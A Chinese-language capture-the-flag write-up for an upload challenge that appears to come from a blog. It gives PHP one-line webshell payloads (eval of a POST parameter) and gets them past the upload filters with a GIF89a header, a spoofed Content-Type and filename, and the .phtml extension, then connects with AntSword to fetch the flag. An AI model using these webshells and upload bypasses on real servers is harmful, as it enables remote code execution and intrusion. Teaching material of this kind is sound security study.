[极客大挑战 2019]Upload

[极客大挑战 2019]Upload

  • 本题考点: php一句话木马的script格式 burpsuite修改文件后缀名和Content-type绕过验证 php可执行文件的不同后缀名 蚁剑连接查看文件

  • 使用工具: burpsuite 蚁剑

  • 主界面提示我们上传一个图片,在上传png等格式后失败,只支持jpg格式的图片

    在这里插入图片描述

    在这里插入图片描述

  • 之后就是写一句话木马了,我们在test.jpg里写上这么一句话,试试看

    <?php eval(@$_POST['shell']);?>
    

    在这里插入图片描述

  • 看来过滤了<? ,一般服务器也不开短标签,我们可以试试script格式的一句话,结果它说不要骗它,这根本不是图片

    <script language="php"> eval($_POST['shell']); </script>
    

    在这里插入图片描述

  • 查阅资料后,只要在一句话木马之前添加一个 GIF89a?

    GIF89a?
    <script language="php"> eval($_POST['shell']); </script>
    
  • 成功上传

    在这里插入图片描述

  • 我们试试用蚁剑连接一下,哦,对了,这里的上传目录是/upload/testx.jpg 虽然没有明说,但是一般都是这样的!

    在这里插入图片描述

  • 结果发现不行,原因是因为图片不是php可执行文件。

    在这里插入图片描述

  • 那怎么办呢?只能上传后缀名为jpg格式的文件,但是这样又不能执行一句话木马。我们可以使用burpsuite在上传时修改文件后缀名,绕过前端验证(这里应该是前端吧?),我们现在final.txt里写上之前的一句话木马

    GIF89a?
    <script language="php"> eval($_POST['shell']); </script>
    
  • 拦截后进行修改

    在这里插入图片描述

  • 改为

    Content-Disposition: form-data; name="file"; filename="final.php"
    Content-Type: image/jpeg
    
  • 它提示检测到了php后缀名,看来前端绕过后还有后端后缀名验证

    在这里插入图片描述

  • 查阅资料后,常见的php后缀名绕过方式有 php3 php4 php5 phtml pht 这道题里可以上传phtml

    Content-Disposition: form-data; name="file"; filename="final.phtml"
    Content-Type: image/jpeg
    

    在这里插入图片描述

  • 连接蚁剑后在根目录下成功找到flag

    在这里插入图片描述


  • 参考链接

    [极客大挑战 2019]Upload

    [极客大挑战 2019]Upload 思路

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值